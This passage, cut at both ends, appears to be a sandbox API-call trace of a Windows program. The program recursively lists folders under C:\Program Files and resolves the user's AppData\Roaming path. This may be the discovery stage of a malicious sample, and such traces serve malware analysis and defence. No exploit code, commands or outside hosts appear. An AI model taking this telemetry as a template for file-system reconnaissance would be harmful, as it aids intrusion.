pszDir="C:\\Program Files\\Internet Explorer", pszFile="SIGNUP" | out: pszDest="C:\\Program Files\\Internet Explorer\\SIGNUP") returned="C:\\Program Files\\Internet Explorer\\SIGNUP" [0266.553] LocalFree (hMem=0x6f3d88) returned 0x0 [0266.553] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0266.554] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.554] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.554] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.554] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.555] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd56ee620, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd56ee620, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0266.555] lstrcmpW (lpString1="Microsoft Office", lpString2="..") returned 1 [0266.555] lstrcmpW (lpString1="Microsoft Office", lpString2=".") returned 1 [0266.555] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.555] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Microsoft Office" | out: pszDest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0266.555] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.555] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.555] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Microsoft Office" | out: psz1="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0266.555] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Microsoft Office" | out: psz1="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0266.555] lstrlenW (lpString="\\*") returned 2 [0266.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office") returned 33 [0266.555] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6f3c38 [0266.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*" (normalized: "c:\\program files\\microsoft office\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd56ee620, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd56ee620, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.557] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files\\Microsoft Office", pszFile="Office16" | out: pszDest="C:\\Program Files\\Microsoft Office\\Office16") returned="C:\\Program Files\\Microsoft Office\\Office16" [0266.557] LocalFree (hMem=0x6f3d88) returned 0x0 [0266.557] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9270c20, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9270c20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Office16", cAlternateFileName="")) returned 0 [0266.557] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.557] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.557] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.558] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.558] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98205c70, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x98205c70, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0266.558] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="MSBuild" | out: pszDest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0266.558] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.558] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.558] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\MSBuild" | out: psz1="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0266.558] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\MSBuild" | out: psz1="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0266.558] lstrlenW (lpString="\\*") returned 2 [0266.558] lstrlenW (lpString="C:\\Program Files\\MSBuild") returned 24 [0266.558] LocalAlloc (uFlags=0x40, uBytes=0x134) returned 0x6f3c38 [0266.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*" (normalized: "c:\\program files\\msbuild\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98205c70, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x98205c70, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.559] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\Program Files\\MSBuild", pszFile="Microsoft" | out: pszDest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft" [0266.559] LocalFree (hMem=0x6f3d78) returned 0x0 [0266.559] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c5c7250, ftCreationTime.dwHighDateTime=0x1d85abf, ftLastAccessTime.dwLowDateTime=0x8fda0c50, ftLastAccessTime.dwHighDateTime=0x1d892fe, ftLastWriteTime.dwLowDateTime=0x8fda0c50, ftLastWriteTime.dwHighDateTime=0x1d892fe, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="pidgin.exe", cAlternateFileName="")) returned 1 [0266.559] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.560] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.560] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.560] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.560] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x971f47f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x971f47f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0266.560] lstrcmpW (lpString1="Reference Assemblies", lpString2="..") returned 1 [0266.560] lstrcmpW (lpString1="Reference Assemblies", lpString2=".") returned 1 [0266.560] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.560] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Reference Assemblies" | out: pszDest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0266.560] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.560] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.560] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.560] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Reference Assemblies" | out: psz1="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0266.560] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Reference Assemblies" | out: psz1="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0266.560] lstrlenW (lpString="\\*") returned 2 [0266.560] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies") returned 37 [0266.560] LocalAlloc (uFlags=0x40, uBytes=0x14e) returned 0x6f3c38 [0266.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*" (normalized: "c:\\program files\\reference assemblies\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x971f47f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x971f47f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.561] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files\\Reference Assemblies", pszFile="Microsoft" | out: pszDest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0266.561] LocalFree (hMem=0x6f3d90) returned 0x0 [0266.562] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.562] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.562] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.562] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.562] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Uninstall Information" | out: pszDest="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0266.562] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.562] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.562] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.563] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Uninstall Information" | out: psz1="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0266.563] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Uninstall Information" | out: psz1="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0266.563] lstrlenW (lpString="\\*") returned 2 [0266.563] lstrlenW (lpString="C:\\Program Files\\Uninstall Information") returned 38 [0266.563] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6f3c38 [0266.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*" (normalized: "c:\\program files\\uninstall information\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x97136110, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x97136110, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.565] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.565] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.565] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.565] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.565] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Windows Defender" | out: pszDest="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender" [0266.565] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.565] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.565] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.565] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Windows Defender" | out: psz1="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender" [0266.565] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Windows Defender" | out: psz1="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender" [0266.565] lstrlenW (lpString="\\*") returned 2 [0266.565] lstrlenW (lpString="C:\\Program Files\\Windows Defender") returned 33 [0266.565] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6f3c38 [0266.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*" (normalized: "c:\\program files\\windows defender\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.567] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files\\Windows Defender", pszFile="en-US" | out: pszDest="C:\\Program Files\\Windows Defender\\en-US") returned="C:\\Program Files\\Windows Defender\\en-US" [0266.567] LocalFree (hMem=0x6f3d88) returned 0x0 [0266.567] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.567] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.567] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.568] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.568] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Windows Journal" | out: pszDest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0266.568] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.568] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.568] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.568] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Windows Journal" | out: psz1="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0266.568] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Windows Journal" | out: psz1="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0266.568] lstrlenW (lpString="\\*") returned 2 [0266.568] lstrlenW (lpString="C:\\Program Files\\Windows Journal") returned 32 [0266.568] LocalAlloc (uFlags=0x40, uBytes=0x144) returned 0x6f3c38 [0266.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*" (normalized: "c:\\program files\\windows journal\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.571] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files\\Windows Journal", pszFile="en-US" | out: pszDest="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US" [0266.571] LocalFree (hMem=0x6f3d88) returned 0x0 [0266.571] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files\\Windows Journal", pszFile="Templates" | out: pszDest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0266.571] LocalFree (hMem=0x6f3d88) returned 0x0 [0266.572] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.572] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.572] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.573] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.573] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Windows Mail" | out: pszDest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0266.573] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.573] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.573] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.573] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Windows Mail" | out: psz1="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0266.573] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Windows Mail" | out: psz1="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0266.573] lstrlenW (lpString="\\*") returned 2 [0266.573] lstrlenW (lpString="C:\\Program Files\\Windows Mail") returned 29 [0266.573] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6f3c38 [0266.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*" (normalized: "c:\\program files\\windows mail\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9654f310, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9654f310, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.575] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\Program Files\\Windows Mail", pszFile="en-US" | out: pszDest="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US" [0266.575] LocalFree (hMem=0x6f3d80) returned 0x0 [0266.575] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.576] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.576] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.576] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.576] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Windows Media Player" | out: pszDest="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player" [0266.576] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.576] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.576] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.576] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Windows Media Player" | out: psz1="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player" [0266.576] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Windows Media Player" | out: psz1="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player" [0266.576] lstrlenW (lpString="\\*") returned 2 [0266.576] lstrlenW (lpString="C:\\Program Files\\Windows Media Player") returned 37 [0266.576] LocalAlloc (uFlags=0x40, uBytes=0x14e) returned 0x6f3c38 [0266.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*" (normalized: "c:\\program files\\windows media player\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x965c1730, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x965c1730, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.577] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files\\Windows Media Player", pszFile="en-US" | out: pszDest="C:\\Program Files\\Windows Media Player\\en-US") returned="C:\\Program Files\\Windows Media Player\\en-US" [0266.577] LocalFree (hMem=0x6f3d90) returned 0x0 [0266.577] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files\\Windows Media Player", pszFile="Icons" | out: pszDest="C:\\Program Files\\Windows Media Player\\Icons") returned="C:\\Program Files\\Windows Media Player\\Icons" [0266.577] LocalFree (hMem=0x6f3d90) returned 0x0 [0266.577] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files\\Windows Media Player", pszFile="Media Renderer" | out: pszDest="C:\\Program Files\\Windows Media Player\\Media Renderer") returned="C:\\Program Files\\Windows Media Player\\Media Renderer" [0266.577] LocalFree (hMem=0x6f3d90) returned 0x0 [0266.577] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files\\Windows Media Player", pszFile="Network Sharing" | out: pszDest="C:\\Program Files\\Windows Media Player\\Network Sharing") returned="C:\\Program Files\\Windows Media Player\\Network Sharing" [0266.577] LocalFree (hMem=0x6f3d90) returned 0x0 [0266.577] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files\\Windows Media Player", pszFile="Skins" | out: pszDest="C:\\Program Files\\Windows Media Player\\Skins") returned="C:\\Program Files\\Windows Media Player\\Skins" [0266.577] LocalFree (hMem=0x6f3d90) returned 0x0 [0266.577] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files\\Windows Media Player", pszFile="Visualizations" | out: pszDest="C:\\Program Files\\Windows Media Player\\Visualizations") returned="C:\\Program Files\\Windows Media Player\\Visualizations" [0266.577] LocalFree (hMem=0x6f3d90) returned 0x0 [0266.577] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.578] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.578] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.578] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.578] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Windows NT" | out: pszDest="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT" [0266.578] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.578] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.578] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.578] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Windows NT" | out: psz1="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT" [0266.578] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Windows NT" | out: psz1="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT" [0266.578] lstrlenW (lpString="\\*") returned 2 [0266.578] lstrlenW (lpString="C:\\Program Files\\Windows NT") returned 27 [0266.578] LocalAlloc (uFlags=0x40, uBytes=0x13a) returned 0x6f3c38 [0266.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*" (normalized: "c:\\program files\\windows nt\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9822bdd0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9822bdd0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.579] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\Program Files\\Windows NT", pszFile="Accessories" | out: pszDest="C:\\Program Files\\Windows NT\\Accessories") returned="C:\\Program Files\\Windows NT\\Accessories" [0266.579] LocalFree (hMem=0x6f3d80) returned 0x0 [0266.579] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\Program Files\\Windows NT", pszFile="TableTextService" | out: pszDest="C:\\Program Files\\Windows NT\\TableTextService") returned="C:\\Program Files\\Windows NT\\TableTextService" [0266.579] LocalFree (hMem=0x6f3d80) returned 0x0 [0266.580] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Windows Photo Viewer" | out: pszDest="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer" [0266.580] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.580] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.580] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Windows Photo Viewer" | out: psz1="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer" [0266.580] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Windows Photo Viewer" | out: psz1="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer" [0266.580] lstrlenW (lpString="\\*") returned 2 [0266.580] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer") returned 37 [0266.580] LocalAlloc (uFlags=0x40, uBytes=0x14e) returned 0x6f3c38 [0266.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*" (normalized: "c:\\program files\\windows photo viewer\\*"), lpFindFileData=0x24f2e8 | out: 